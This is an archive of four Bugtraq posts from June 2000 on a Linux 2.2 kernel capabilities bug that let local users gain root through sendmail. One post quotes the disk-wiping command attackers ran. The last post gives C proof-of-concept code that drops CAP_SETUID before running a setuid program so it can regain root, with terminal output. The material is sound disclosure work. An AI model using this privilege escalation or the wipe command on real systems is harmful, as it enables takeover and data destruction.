5174661 2000-06-08 10:35 /55 rader/ Postmaster
Mottagare: Bugtraq (import) <11195>
Ärende: local root on linux 2.2.15
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mail-Followup-To: bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5
protocol="application/pgp-signature"; boundary="vkogqOf2sHV7VnPd"
Message-ID: <20000608003814.A42233@vuurwerk.nl>
Date: Thu, 8 Jun 2000 00:38:14 +0200
Reply-To: Peter van Dijk <petervd@VUURWERK.NL>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Peter van Dijk <petervd@VUURWERK.NL>
To: BUGTRAQ@SECURITYFOCUS.COM
--vkogqOf2sHV7VnPd
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
I do not have complete info right now, but here's the scoop:
Local users can gain root thru a _kernel_ bug in linux 2.2.15 and some
earlier versions. This is fixed in 2.2.16pre6. Linux 2.0.x is not
vulnerable, I do not know of any other vulnerable OSes.
The bug is that is it somehow possible to exec sendmail without the
CAP_SETUID priv, which makes the setuid() call that sendmail
eventually does to drop privs, fail. Big chunks of code that were
never meant to run as root then do run as root, which is ofcourse
easily exploitable then.
This is just about all the info I have, I do not have the exploit but
I know that some black hats do have it. A couple of boxes already got
completely trashed after being rooted through this hole, which is why
I am making this public right now.
I did not discover this bug, I only extrapolated from the small info
I had: 'it has to do with capsuid' 'sendmail is vulnerable, crond is
not'. Some reading of the kernel source then suggested the above to
me, which has been confirmed by a more knowledgeable source.
Greetz, Peter.
--=20
petervd@vuurwerk.nl - Peter van Dijk [student:developer:madly in love]
--vkogqOf2sHV7VnPd
Content-Type: application/pgp-signature
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (FreeBSD)
Comment: For info see http://www.gnupg.org
iD8DBQE5Ps7VbGgPAjHkJggRATM1AJ4gaOrqmDm/RUl99oGRwmkkUhBTpgCfaiu0
kluDyiPjWkyJNtWjh0IWxHE=
=XZ5/
-----END PGP SIGNATURE-----
--vkogqOf2sHV7VnPd--
(5174661) ------------------------------------------(Ombruten)
5174728 2000-06-08 10:56 /53 rader/ Postmaster
Mottagare: Bugtraq (import) <11197>
Ärende: Local root vulnerability in most used Linux kernels
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Message-ID: <070b01bfd0cd$95b678e0$0701a8c0@dokter.multiweb.nl>
Date: Thu, 8 Jun 2000 00:13:18 +0200
Reply-To: Gerrie <gerrie@HIT2000.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Gerrie <gerrie@HIT2000.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
There is a zeroday exploit for kernel in hands of scriptkiddies.
After they rooted locally 2 system which I've intrest and did dd
if=/dev/zero of=/dev/hda1 & on both, I spended 7 hours to finding
fragments (we really need easies tools LDE with GUI block search
capabilities) This with help of Peter we came to the following
conclusion.
This exploits gives them local root.
It works -so far investigated- on
Linux 2.2.15
Linux 2.2.14-5.0 (RedHat 6.2)
Not vulnerable 2.2.0 Kernels, 2.2.16pre6 Kernels and Freebsd 4.0
2.0.x linux kernels doesn't have capabilities, and are probally not
vulnearble
In the linux kernel there are caperbilities that gives restritions on
processen. A process -like sendmail or httpd- can do his job as root
and after he's finished all capabilities as root are dropped.
Someone succeeded in calling CAP_SETUID priv, Sendmail cann't drop
root to normal user after that. Because Sendmail isn't made to run
as root, the rest of sendmail is easy to misabuse.
The bug in sendmail is only avaible when sendmail *probally* doesn't
checks if the dropping of privs succeeded.
Special thanx to Peter van Dijk for his great -major part- analysis.
gtx,
Gerrie Mansur
HIT2000 Information security
www.hit2000.org
www.hit2000.nl
(5174728) ------------------------------------------(Ombruten)
5175754 2000-06-08 15:12 /90 rader/ Postmaster
Mottagare: Bugtraq (import) <11200>
Ärende: Local root vulnerability in most used Linux kernels
------------------------------------------------------------
X-Envelope-Sender: brozen@torah.org
X-Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68]
by rina.torah.org (8.9.3/8.9.3/Debian/GNU) with ESMTP id EAA2805
for <brozen@TORAH.ORG>; Thu, 8 Jun 2000 04:43:17 -0400
X-Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68]
by lists.securityfocus.com (Postfix) with ESMT
id 666471F4BF; Wed, 7 Jun 2000 23:47:54 -0700 (PDT)
X-Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.CO
(LISTSERV-TCP/IP release 1.8d) with spool id 10437493 fo
BUGTRAQ@LISTS.SECURITYFOCUS.COM; Wed, 7 Jun 2000 23:46:26 -0700
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
X-Received: from securityfocus.com (mail.securityfocus.com [207.126.127.78]) b
lists.securityfocus.com (Postfix) with SMTP id 6BAC11F150 fo
<bugtraq@lists.securityfocus.com>; Wed, 7 Jun 2000 15:19:13 -070
(PDT) X-Received: (qmail 11308 invoked by alias); 7 Jun 2000
22:19:23 -0000 Delivered-To: bugtraq@securityfocus.com X-Received:
(qmail 11305 invoked from network); 7 Jun 2000 22:19:22 -0000
X-Received: from apollo-hrlm0376.multiweb.net (HELO ipsec)
(195.114.239.124) b
mail.securityfocus.com with SMTP; 7 Jun 2000 22:19:22 -0000
X-Received: from master ([192.168.1.7]) by ipsec (8.9.3/8.9.3) with
SMTP i
XAA07896 for <bugtraq@securityfocus.com>; Wed, 7 Jun 2000 23:24:52 GMT
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Message-ID: <070b01bfd0cd$95b678e0$0701a8c0@dokter.multiweb.nl>
Date: Thu, 8 Jun 2000 00:13:18 +0200
Reply-To: Gerrie <gerrie@HIT2000.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Gerrie <gerrie@HIT2000.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
ReSent-Date: Thu, 8 Jun 2000 15:40:30 +0300 (IDT)
ReSent-From: Brock Rozen <brozen@torah.org>
ReSent-To: security@debian.org
ReSent-Subject: Local root vulnerability in most used Linux kernels
ReSent-Message-ID: <Pine.LNX.4.21.0006081540300.3298@rina.torah.org>
Delivered-To: security@debian.org
X-Mailing-List: <debian-private@lists.debian.org> archive/latest/13075
X-Loop: debian-private@lists.debian.org
Precedence: list
Resent-Sender: debian-private-request@lists.debian.org
There is a zeroday exploit for kernel in hands of scriptkiddies.
After they rooted locally 2 system which I've intrest and did dd
if=/dev/zero of=/dev/hda1 & on both, I spended 7 hours to finding
fragments (we really need easies tools LDE with GUI block search
capabilities) This with help of Peter we came to the following
conclusion.
This exploits gives them local root.
It works -so far investigated- on
Linux 2.2.15
Linux 2.2.14-5.0 (RedHat 6.2)
Not vulnerable 2.2.0 Kernels, 2.2.16pre6 Kernels and Freebsd 4.0
2.0.x linux kernels doesn't have capabilities, and are probally not
vulnearble
In the linux kernel there are caperbilities that gives restritions on
processen. A process -like sendmail or httpd- can do his job as root
and after he's finished all capabilities as root are dropped.
Someone succeeded in calling CAP_SETUID priv, Sendmail cann't drop
root to normal user after that. Because Sendmail isn't made to run
as root, the rest of sendmail is easy to misabuse.
The bug in sendmail is only avaible when sendmail *probally* doesn't
checks if the dropping of privs succeeded.
Special thanx to Peter van Dijk for his great -major part- analysis.
gtx,
Gerrie Mansur
HIT2000 Information security
www.hit2000.org
www.hit2000.nl
--
Please respect the privacy of this mailing list.
To UNSUBSCRIBE, email to debian-private-request@lists.debian.org with
a subject of "unsubscribe". Trouble? Contact
listmaster@lists.debian.org
(5175754) ------------------------------------------(Ombruten)
5176702 2000-06-08 19:44 /135 rader/ Postmaster
Mottagare: Bugtraq (import) <11205>
Ärende: the Linux Capabilities bug
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
Mail-Followup-To: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-ID: <20000608165624.A577@rajpur.iagora.es>
Date: Thu, 8 Jun 2000 16:56:24 +0200
Reply-To: Roger Espel Llima <espel@IAGORA.NET>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Roger Espel Llima <espel@IAGORA.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
I did some testing about this Linux Capabilities bug; the problem is
as described: random user can take out the capability CAP_SETUID from
its inheritable set, and then execute a suid program. The suid
program runs with full root privileges, *except* that when it does a
setuid(getuid()); (as many suid programs do to give up privileges),
it doesn't reset the saved uid. So the program can later do a
setuid(0);, and get root privs again.
Here's some code to test whether giving up root works:
------- blep.c
#include <stdio.h>
#include <unistd.h>
int main(void)
{
if (geteuid()) {
printf("Run me as root please\n");
exit(1);
}
printf("BEFORE: %d %d\n", getuid(), geteuid());
setuid(getuid());
printf("GAVE UP: %d %d\n", getuid(), geteuid());
setuid(0);
printf("GOT BACK: %d %d\n", getuid(), geteuid());
if (!geteuid() || !getuid()) printf("PROBLEM!!\n");
return 0;
}
And here's code to disable the CAP_SETUID capability:
------- suidcap.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/capability.h>
_syscall2(int, capget, cap_user_header_t, header, cap_user_data_t, dataptr);
_syscall2(int, capset, cap_user_header_t, header, cap_user_data_t, dataptr);
typedef struct __user_cap_header_struct capheader_t;
typedef struct __user_cap_data_struct capdata_t;
void remove_cap(capdata_t *data, int cap) {
data->effective &= ~(1 << cap);
data->permitted &= ~(1 << cap);
data->inheritable &= ~(1 << cap);
}
void cap_get(capheader_t *header, capdata_t *data) {
if (capget(header, data) == 0) return;
perror("capget");
exit(-1);
}
void cap_set(capheader_t *header, capdata_t *data) {
if (capset(header, data) == 0) return;
perror("capset");
exit(-1);
}
main() {
capheader_t header;
capdata_t data;
header.version = _LINUX_CAPABILITY_VERSION;
header.pid = 0;
data.effective = data.permitted = data.inheritable = 0;
cap_get(&header, &data);
remove_cap(&data, CAP_SETUID);
cap_set(&header, &data);
printf("launching shell...\n");
execl("/bin/sh", "/bin/sh", NULL);
perror("execl");
}
And finally here's a demonstration of the problem:
$ uname -s -r
Linux 2.2.14-15mdk
$ gcc blep.c -o blep
$ gcc suidcap.c -o suidcap
$ su
Password:
# chown root.root blep
# chmod 4755 blep
# exit
$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 0
PROBLEM!!
sh-2.03$ exit
Finally, I can confirm that Linux 2.2.16 fixes the problem:
$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
sh-2.03$ exit
--
Roger Espel Llima, espel@iagora.net
http://www.iagora.com/~espel/index.html
(5176702) ------------------------------------------(Ombruten)